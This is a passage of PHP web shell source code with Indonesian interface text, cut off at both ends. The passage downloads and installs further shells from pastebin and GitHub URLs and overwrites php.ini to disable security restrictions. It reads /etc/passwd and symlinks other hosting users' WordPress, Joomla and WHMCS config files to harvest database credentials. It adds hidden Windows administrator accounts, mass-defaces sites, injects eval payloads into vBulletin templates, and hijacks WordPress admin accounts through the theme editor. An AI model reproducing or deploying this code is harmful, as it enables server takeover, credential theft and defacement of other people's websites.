echo "<script>d.sf.onsubmit=function(){st("" . $_POST['p2'] . "", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
echo " of $pages";
if($_POST['p3'] > 1)
echo " <a href=# onclick='st("" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
if($_POST['p3'] < $pages)
echo " <a href=# onclick='st("" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch())  {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value="query";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form></center><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value="loadfile";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
wsoFooter();
}
   /////////////////////////////////////////////////////
	elseif(isset($_GET['x']) && ($_GET['x'] == 'get_tools'))
    {
        ?><center><br><br><h3>Write Tools</h3>
<table>
<tr><form method="post" action="">&nbsp;<td>
<select class="inputz" align="left" name="pilihan" id="pilih">
<option value="hsphere">Bypass hSphere Shell</option>
<option value="adminer">Adminer</option>
<option value="miniadmin">PHPMiniAdmin</option>
<option value="wso">WSO Shell</option>
</select>
<input type="submit" name="submites" class="inputz" value="create">
</td></form></tr></table><br/><br/><br/>
<?php
            function gettool($filename,$link){
              $get = file_get_contents($link);
              file_put_contents($filename.'.php', $get);
              echo '<script>alert("Done ! ");</script>';
              echo 'Berhasil => '.' '.'<a href="'.$filename.'.php" target="_blank">'.$filename.'.php</a>';
            }
                $submit = $_POST ['submites'];
                if(isset($submit)) {
                    $pilih = $_POST['pilihan'];
                    ///hsphere shell
                        if ( $pilih == 'hsphere') {
                            gettool("hsphere","https://raw.githubusercontent.com/sinkaroid/pasirmerah/sc0/sc0hsphere.php");
                        }
                        elseif ( $pilih == 'adminer') {
                            gettool("adminer","https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php");
                        }elseif($pilih == 'miniadmin'){
                            gettool("sqlminiadmin","https://pastebin.com/raw/iHSNkKmg");
                        }elseif( $pilih == 'wso'){
                            gettool("wso","https://raw.githubusercontent.com/tennc/webshell/master/php/wso/WSO_base64.php");
                        }
                    }
        exit();
    }
    elseif(isset($_GET['x']) && ($_GET['x'] == 'set_bg'))
    {
        ?>
<center>
<form action="?sad=<?php echo $pwd; ?>&amp;x=settings" method="POST">
<table>
<tr>
<td><h7>Appearance Setting</h7></td>
</tr>
<tr>
<td>Background Shell</td><td>:</td><td><input type="text" name="bg_shell" class="inputz" placeholder="link image" style="width:200px"></td>
</tr>
<tr>
<td></td><td></td><td><input type="submit" name="submit" class="inputzbut"></td>
</tr>
</form>
</table>
<?php
    exit();
    }

    elseif(isset($_GET['x']) && ($_GET['x'] == 'set_login'))
    {
    ?>
<center>
<form action="?sad=<?php echo $pwd; ?>&amp;x=settings" method="POST">
<table>
<tr>
<td><h7>Appearance Setting</h7></td>
</tr>
<tr>
<td>Login Background</td><td>:</td><td><input type="text" name="bg_login" class="inputz" placeholder="link image" style="width:200px"></td>
</tr>
<tr>
<td></td><td></td><td><input type="submit" name="submit" class="inputzbut" value="submit setting"></td>
</tr>
</form>
</table>
<?php
        exit();
    }
    elseif(isset($_GET['x']) && ($_GET['x'] == 'bypasser'))
            {
                echo "<center><br/><br/>Choose Bypasser Below<br/><br/>"; ?>
<a href="?<?php echo "path=".$path; ?>&amp;x=bysysfuncwsf"><input class=bordergaya type=submit value="Bypass Root Path With System Function" /></a>
Or <a href="?<?php echo "path=".$path; ?>&amp;x=bypsini"><input class=bordergaya type=submit value="Bypass Disable Functions" /></a>
Or <a href="?<?php echo "path=".$path; ?>&amp;x=bysysfuncwexec"><input class=bordergaya type=submit value="Bypass Root Path With Exec Function" /></a>
<br/><br/><br/><br/>
<?php
                exit();
            }
    ////////////////////////////////////////
            ///////////////////////////////////////
            elseif(isset($_GET['x']) && ($_GET['x'] == 'bysysfuncwsf')) {
            echo '<br><center><span style="font-size:20px;">Bypass Root Path With System Function</span><center>';
            mkdir('bysyswsf', 0755);
            chdir('bysyswsf');
            $bysyswsf = file_get_contents("https://pastebin.com/raw/Pw07PwVD");
            $file = fopen("bysyswsf.php" ,"w+");
            $write = fwrite ($file ,$bysyswsf);
            fclose($file);
            chmod("bysyswsf.php",0755);
            echo "<iframe src=bysyswsf/bysyswsf.php width=70% height=70% frameborder=0></iframe>";exit();
            }
            ////////////////////////////////////////
            ////////////////////////////////////////
            elseif(isset($_GET['x']) && ($_GET['x'] == 'bypsini')) {
                    $byht = "safe_mode = Off
                    disable_functions = None
                    safe_mode_gid = OFF
                    open_basedir = OFF
                    allow_url_fopen = On";
                    file_put_contents("php.ini",$byht);
                    echo "<script>alert('Congrats!'); hideAll();</script>";
                    die('<meta http-equiv="refresh" content="0; url=?" />');
            }
            ////////////////////////////////////////
            ///////////////////////////////////////
            elseif(isset($_GET['x']) && ($_GET['x'] == 'bysysfuncwexec')) {
            echo '<br><center><span style="font-size:20px;">Bypass Root Path With Exec Function</span><center>';
            mkdir('bysyswexecf', 0755);
            chdir('bysyswexecf');
            $bysyswsf = file_get_contents("https://pastebin.com/raw/6ccPfLW6");
            $file = fopen("bysyswexecf.php" ,"w+");
            $write = fwrite ($file ,$bysyswsf);
            fclose($file);
            chmod("bysyswexecf.php",0755);
            echo "<iframe src=bysyswexecf/bysyswexecf.php width=70% height=70% frameborder=0></iframe>";
            exit();
            }
            ////////////////////////////////////////
            ////////////////////////////////////////

    ///////////////////////////////////////////////////////////////////////////
        ///////////JUMPING////////////////////////////////////////////////////////
        //////////////////////////////////////////
        elseif (isset($_GET['x']) && ($_GET['x'] == 'jumping')) {
                    ?>
<center>
<form action="?sad=<?php echo $pwd; ?>&amp;x=jumping" method="post">
<?php
                //radable public_html
                ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
                set_time_limit(0);
                ###################
                @$passwd = fopen('/etc/passwd','r');
                if (!$passwd) { die('<br>[-] Error : coudn`t read /etc/passwd'); }
                $pub = array();
                $users = array();
                $conf = array();
                $i = 0;
                while(!feof($passwd))
                {
                $str = fgets($passwd);
                if ($i > 35)
                {
                $pos = strpos($str,':');
                $username = substr($str,0,$pos);
                $dirz = '/home/'.$username.'/public_html/';
                if (($username != ''))
                {
                if (is_readable($dirz))
                {
                array_push($users,$username);
                array_push($pub,$dirz);
                }
                }
                }
                $i++;
                }
                ###################
                echo '<br><br></center></center>';
                echo "<font class='rapihbanget'>[+] Founded ".sizeof($users)." entrys in /etc/passwdn"."<br /></font>";
                echo "<font class='rapihbanget'>[+] Founded ".sizeof($pub)." readable public_html directoriesn"."<br /></font>";
                echo "<font class='rapihbanget'>[~] Searching for passwords in config files...<br /><br /></font>";
                foreach ($users as $user)
                {
                $path = "/home/$user/public_html/";
                echo "<font class='rapihbanget'><a href='?sad&#61;$path' target='_blank' font-weight:bold; color:#F80;'>$path</a><br></font>";
                }
                echo "<br /><font class='rapihbanget'>[+] Complete...n"."<br /></font>";
                echo "<font class='rapihbanget'>[+] Monggo Sikat Boz!n"."<br /></font>";
                echo '<br><br></b></body><center>';
                exit();
        }


///////////////

 elseif (isset($_GET['x']) && ($_GET['x'] == 'mass')) {
    error_reporting(0);
?><center><table><td width="50%"><form ENCTYPE="multipart/form-data" action="<?php
    $_SERVER['PHP_SELF'];
?>" method=post><p align="center"><h2>Folder</h2><input class='inputz' typ=text name=path size=60 value="<?php
    echo getcwd();
?>"><br><h2>file name</h2><input class='inputz' typ=text name=file size=60 value="index.php"><br></td><td width="50%"><h3>Your deface page script </h3><textarea class='inputz' name=index rows=10 cols=40>Hacked By Kaizen - SUICIDE-DB</textarea><br></td></p></table><center><br><br><br><input class='inputzbut' type=submit value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form><br><?php
    $mainpath = $_POST[path];
    $file     = $_POST[file];
    $dir      = opendir("$mainpath");
    $code     = base64_encode($_POST[index]);
    $indx     = base64_decode($code);
    while ($row = readdir($dir)) {
        $start  = @fopen("$row/$file", "w+");
        $finish = @fwrite($start, $indx);
        if ($finish) {
            echo "$row/$file > Done<br><br>";
        }
    }
    exit();
}
    ///menu rdp
        if(isset($_GET['x']) && ($_GET['x'] == 'krdp'))
            /* By Shor7cut */
        {
                if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
                {
                        ?><br/><br/>
<center>
<h1>RDP Creator</h1>
<div id="content-left">
<form action="" method="post">
<table border="1px" bordercolor="#2d2b2b" cellpadding="5px">
<tr>
<td colspan="3" align="center" bgcolor="#2d2b2b"><font face="Fredericka the Great" size="2px" color="white">CREATE RDP</font></td>
</tr>
<tr>
<td><font class='kecew'>Username</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" class="bordergaya" name="username" required></td>
</tr>
<tr>
<td><font class='kecew'>Password</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" class="bordergaya" name="password" required></td>
</tr>
<tr>
<td colspan="3" align="center"><input type="hidden" name="kshell" value="1"><input type="submit" name="submit" class="bordergaya" value="Create"></td>
</tr>
</table>
</form>
</div>
<br/>
<div id="content-left">
<form action="" method="post">
<table border="1px" bordercolor="#2d2b2b" cellpadding="5px">
<tr>
<td colspan="3" align="center" bgcolor="#2d2b2b"><font face="Fredericka the Great" size="2px" color="white">OPTION</td>
</tr>
<tr>
<td><font class='kecew'>Username</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" name="rusername" placeholder="Masukan Username" class="bordergaya"></td>
</tr>
<tr>
<td><font class='kecew'>Password</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" name="gantipw" placeholder="Password Baru" class="bordergaya"></td>
</tr>
<tr>
<td><font class='kecew'>Action</font></td>
<td><font class='kecew'> : </font></td>
<td>
<select name="aksi" class="bordergaya">
<option value="1">Show Username</option>
<option value="2">Delete Username</option>
<option value="3">Change Password</option>
</select>
</td>
</tr>
<tr>
<td colspan="3" align="center"><input type="hidden" name="kshell" value="2"><input type="submit" name="submit" class="bordergaya" value="Execute"></td>
</tr>
</table>
</form>
<br/>
</div>
</center></center>
<?php
                    if($_POST['submit'])
                    {
                        if($_POST['kshell']=="1")
                        {
                            $r_user = $_POST['username'];
                            $r_pass = $_POST['password'];
                            $cmd_cek_user   = shell_exec("net user");
                            if(preg_match("/$r_user/", $cmd_cek_user)){
                                echo $gaya_root.$r_user." sudah ada".$o;
                            }else {
                            $cmd_add_user   = shell_exec("net user ".$r_user." ".$r_pass." /add");
                            $cmd_add_groups1 = shell_exec("net localgroup Administrators ".$r_user." /add");
                            $cmd_add_groups2 = shell_exec("net localgroup Administrator ".$r_user." /add");
                            $cmd_add_groups3 = shell_exec("net localgroup Administrateur ".$r_user." /add");
                                if($cmd_add_user){
                                    echo $gaya_root."<font class='rapihbanget'>[+] Menambahkan User : ".$r_user." Password : ".$r_pass." <font color='greenyellow'>Berhasil!</font></font><br/><br/>".$o;
                                }else {
                                    echo $gaya_root."<font class='rapihbanget'>[+] Menambahkan User : ".$r_user." Password : ".$r_pass." <font color='red'>Gagal!</font><br/><br/>".$o;
                                }
                                echo "<font class='rapihbanget'>[+] Sedang Memroses User.. Silahkan Tunggu Sebentar..  <br/>";
                                if($cmd_add_groups1){
                                      echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Berhasil Di Proses!</font><br/><br/>".$o;
                                }else
                                if($cmd_add_groups2){
                                      echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Berhasil Di Proses!</font><br/><br/>".$o;
                                }else
                                if($cmd_add_groups3){
                                      echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Berhasil Di Proses!</font><br/><br/>".$o;
                                }else {
                                      echo $gaya_root."<font class='rapihbanget'>--- Maaf User ".$r_user." <font color='red'>Gagal Di Proses!</font><br/><br/>".$o;
                                }
                                echo "<font class='rapihbanget'>[+] Server Info : </font><br/>";
                                echo $gaya_root."<font class='rapihbanget'>--- ServerIP : ".$_SERVER["HTTP_HOST"]."</font><br/><font class='rapihbanget'>--- Username  : ".$r_user."</font><br/><font class='rapihbanget'>--- Password  : </font>".$r_pass.$o."</font><br/><br/>";
                                echo "<font class='rapihbanget'>[+] Thank For Using It ~_^ </font><br/><br/>";
                            }


                        }
                        else if($_POST['kshell']=="2")
                        {
                            echo "<style>
                                    .coeg{margin-left:30%;}
                                    </style>";
                            if($_POST['aksi']=="1"){
                             echo "<pre class='coeg'>".shell_exec("net user");
                            }
                            else if($_POST['aksi']=="2")
                            {
                                $username = $_POST['rusername'];
                                $cmd_cek_user   = shell_exec("net user");
                                    if (!empty($username)){
                                        if(preg_match("/$username/", $cmd_cek_user)){
                                        $cmd_add_user   = shell_exec("net user ".$username." /DELETE");
                                        if($cmd_add_user){
                                            echo "<font class='rapihbanget'>[+] Sedang Memroses.. Silahkan Tunggu..  </font><br /><br />";
                                            echo $gaya_root."<font class='rapihbanget'>[+] Selamat! Remove User  </font><font color='orange'>".$username." </font><font color='greenyellow'>Berhasil!!</font><br /><br />".$o;
                                        }else {
                                            echo $gaya_root."<font class='rapihbanget'>[+] Yah :( Remove User  </font><font color='orange'>".$username." </font><font color='red'>Gagal!!</font><br /><br />".$o;
                                        }
                                    }else {
                                        echo $gaya_root."<font class='rapihbanget'>Are You Kidding Me?! Username : </font><font color='orange'>" .$username. " </font><font color='red'> Itu Enggak Ada!!</font><br /><br />".$o;
                                    }
                                    }else {
                                        echo $gaya_root."<font class='rapihbanget'> Silahkan Masukkan Dahulu Username Yang Mau Di Hapus!! </font><br /><br />".$o;
                                    }
                            }
                            else if($_POST['aksi']=="3")
                            {
                                echo "<style>
                                        .tengahaja{margin-left:35%}
                                      </style>";
                                $username = $_POST['rusername'];
                                $password = $_POST['gantipw'];
                                $cmd_cek_user   = shell_exec("net user");
                                    if (!empty($username)){
                                        if(preg_match("/$username/", $cmd_cek_user)){
                                            $cmd_add_user   = shell_exec("net user ".$username."");
                                            if($cmd_add_user){
                                            echo $gaya_root."<font class='tengahaja'>Ganti Password Username : ".$username." dan Password : ".$password." <font color='greenyellow'>Berhasil!!</font><br /><br />".$o;
                                        }else {
                                            echo $gaya_root."<font class='tengahaja'>Ganti Password Username : ".$username." dan Password : ".$password." <font color='red'>Gagal!!</font><br /><br />".$o;
                                        }
                                    }else
                                {
                                    echo $gaya_root."<font class='rapihbanget'>Are You Kidding Me?! Username : </font><font color='orange'>" .$username. " </font><font color='red'> Itu Enggak Ada!!</font><br /><br />".$o;
                                }
                                }else
                                {
                                    echo $gaya_root."<font class='rapihbanget'> Silahkan Masukkan Dahulu Username Yang Mau Di Hapus!! </font><br /><br />".$o;
                                }
                            }
                        }

                    }
                } else{
                    echo "<br><br><font color='springgreen' face='Fredericka The Great'>Can only be used on windows server</font>";
                }die();
        }
elseif (isset($_GET['x']) && ($_GET['x'] == 'grabc')) { @ini_set('output_buffering',0);
    echo "
<form method='POST'>
</head>
<style>
textarea{resize:none;color:#000;background-color:#000;font-size:8pt;color:#fff;border:1px solid white;border-left:4px solid white;width:543px;height:400px}input{color:#000;border:1px dotted white}
</style>";
echo "<center>";?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Cabin" color="springgreen" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='inputz' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='inputz' size="100" value="Grab!" type="submit"><br></form></center><br><?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('Sad-Conf', 0755);@chdir('Sad-Conf');
$htaccess="
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];
$passwd=explode("n",$passwd);
echo "<br><br><center><font face='cabin' color=Crimson size=2pt>Waiting Proses...</center><br>";
foreach($passwd as $pwd){
$pawd=explode(":",$pwd);$user =$pawd[0];
@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
echo '<b><font face="Homenaje" color="springgreen" size="3pt"><b>Grab Success >></b> <a target="_blank" href="Sad-Conf">Config</a></font></b>';}
die();
}
/////// Cukup Sampai Disini ya Grabber :( ////////

elseif (isset($_GET['x']) && ($_GET['x'] == 'vb')) {
    if (empty($_POST['index'])) {
        echo "<center><br><br><FORM method='POST'>host : <INPUT size='15' class='inputz' value='localhost' name='localhost' type='text'>&nbsp;|&nbsp;database : <INPUT class='inputz' size='15' value='db_name' name='database' type='text'>&nbsp;|&nbsp;username : <INPUT class='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;|&nbsp;password : <INPUT class='inputz' size='15' value='bd_pass' name='password' type='text'>&nbsp;|&nbsp;perfix : <input class='inputz' size='15' value='' name='perfix' type='text'><br><textarea class='inputz' name='index' cols='40' rows='10'>Hacked By Kaizen</textarea><br><INPUT class='inputzbut' value='Deface' name='send' type='submit'></FORM></center>";
    } else {
        $localhost = $_POST['localhost'];
        $database  = $_POST['database'];
        $username  = $_POST['username'];
        $password  = $_POST['password'];
        $perfix    = $_POST['perfix'];
        $index     = $_POST['index'];
        @mysql_connect($localhost, $username, $password) or die(mysql_error());
        @mysql_select_db($database) or die(mysql_error());
        $index     = str_replace("'", "'", $index);
        $set_index = "{${eval(base64_decode('";
        $set_index .= base64_encode("echo '$index';");
        $set_index .= "'))}}{${exit()}}</textarea>";
        $ok = @mysql_query("UPDATE " . $perfix . "template SET template ='" . $set_index . "' WHERE title ='FORUMHOME'") or die(mysql_error());
        if ($ok) {
            echo "Defaced<br><br>";
        }
    }
}

 elseif (isset($_GET['x']) && ($_GET['x'] == 'wm')) {
    ini_set("display_errors", "0");
    set_time_limit(0);
    @session_start();
    $base_path = dirname(__FILE__) . '/';
    function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1)
    {
        $ar0 = explode($marqueurDebutLien, $text);
        $ar1 = explode($marqueurFinLien, $ar0[$i]);
        return trim($ar1[0]);
    }
    function randomt()
    {
        $chars = "abcdefghijkmnopqrstuvwxyz023456789";
        srand((double) microtime() * 1000000);
        $i    = 0;
        $pass = '';
        while ($i <= 7) {
            $num  = rand() % 33;
            $tmp  = substr($chars, $num, 1);
            $pass = $pass . $tmp;
            $i++;
        }
        return $pass;
    }
    function index_changer_wp($conf, $content)
    {
        $output   = '';
        $dol      = '$';
        $username = entre2v2($conf, "define('DB_USER', '", "');");
        $password = entre2v2($conf, "define('DB_PASSWORD', '", "');");
        $dbname   = entre2v2($conf, "define('DB_NAME', '", "');");
        $prefix   = entre2v2($conf, $dol . "table_prefix  = '", "'");
        $host     = entre2v2($conf, "define('DB_HOST', '", "');");
        $link     = mysql_connect($host, $username, $password);
        if ($link) {
            mysql_select_db($dbname, $link);
            $dol  = '$';
            $req1 = mysql_query("UPDATE `" . $prefix . "users` SET `user_login` = 'k2',`user_pass` = '4297f44b13955235245b2497399d7a93' WHERE `ID` = 1");
        } else {
            $output .= "[-] DB Error<br>";
        }
        if ($req1) {
            $req           = mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='home'");
            $data          = mysql_fetch_array($req);
            $site_url      = $data["option_value"];
            $req           = mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='template'");
            $data          = mysql_fetch_array($req);
            $template      = $data["option_value"];
            $req           = mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='current_theme'");
            $data          = mysql_fetch_array($req);
            $current_theme = $data["option_value"];
            $useragent     = "Mozilla/4.0 (compatible;MSIE 7.0b;Windows NT 5.1;.NET CLR 1.1.4322;Alexa Toolbar;.NET CLR 2.0.50727)";
            $url2          = $site_url . "/wp-login.php";
            $ch            = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url2);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "log=k2&pwd=123123&rememberme=forever&wp-submit=Log In&testcookie=1");
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
            curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
            curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
            curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
            $buffer = curl_exec($ch);
            $pos    = strpos($buffer, "action=logout");
            if ($pos === false) {
                $output .= "[-] Successful Login<br>";
            } else {
                $output .= "[+] Successful Login<br>";
            }
            $url2 = $site_url . "/wp-admin/theme-editor.php?file=/themes/" . $template . '/index.php&theme=' . urlencode($current_theme) . '&dir=theme';
            curl_setopt($ch, CURLOPT_URL, $url2);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
            curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
            curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
            $buffer0  = curl_exec($ch);
            $_wpnonce = entre2v2($buffer0, '<input type="hidden" id="_wpnonce" name="_wpnonce" value="', '" />');
            $_file    = entre2v2($buffer0, '<input type="hidden" name="file" value="', '" />');
            if (substr_count($_file, "/index.php") != 0) {
                $output .= "[+] index.php Opened<br>";
            } else {
                $output .= "[-] index.php Unable to open<br>";
            }
            $url2 = $site_url . "/wp-admin/theme-editor.php";
            curl_setopt($ch, CURLOPT_URL, $url2);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "newcontent=" . $content . "&action=update&file=" . $_file . "&_wpnonce=" . $_wpnonce . "&submit=Update File");
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
            curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
            curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
            $buffer = curl_exec($ch);
            curl_close($ch);
            $pos  = strpos($buffer, '<div id="message" class="updated">');
            $cond = 0;
            if ($pos === false) {
                $output .= "[-] index.php Failed<br>";
            } else {
                $output .= "[+] index.php Failed+<br>";
                $cond = 1;
            }
        } else {
            $output .= "[-] DB Error<br>";
        }
        global $base_path;
        unlink($base_path . 'COOKIE.txt');
        return array(
            'cond' => $cond,
            'output' => $output
        );
    }
    function exec_mode_1($def_url)
    {
        @mkdir('sym', 0777);
        $wr = "Options all n DirectoryIndex Sux.html n AddType text/plain .php n AddHandler server-parsed .php n  AddType text/plain .html n AddHandler txt .html n Require None n Satisfy Any";
        $fp = @fopen('sym/.htaccess', 'w');
        fwrite($fp, $wr);
        @symlink('/', 'sym/root');
        $dominios = @file_get_contents("/etc/named.conf");
        @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
        $out[1]          = array_unique($out[1]);
        $numero_dominios = count($out[1]);
        echo "Total Websites: $numero_dominios <br><br>";
        $def                = file_get_contents($def_url);
        $def                = urlencode($def);
        $base_url           = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/sym/root/home/';
        $output             = fopen('defaced.html', 'a+');
        $_SESSION['count1'] = (isset($_GET['st']) && $_GET['st'] != '') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] : 0) : 0;
        $_SESSION['count2'] = (isset($_GET['st']) && $_GET['st'] != '') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] : 0) : 0;
        echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Script</th><th>Process</th><th>Results</th></tr>';
        $j  = 1;
        $st = (isset($_GET['st']) && $_GET['st'] != '') ? $_GET['st'] : 0;
        for ($i = $st; $i <= $numero_dominios; $i++) {
            $domain       = $out[1][$i];
            $dono_arquivo = @fileowner("/etc/valiases/" . $domain);
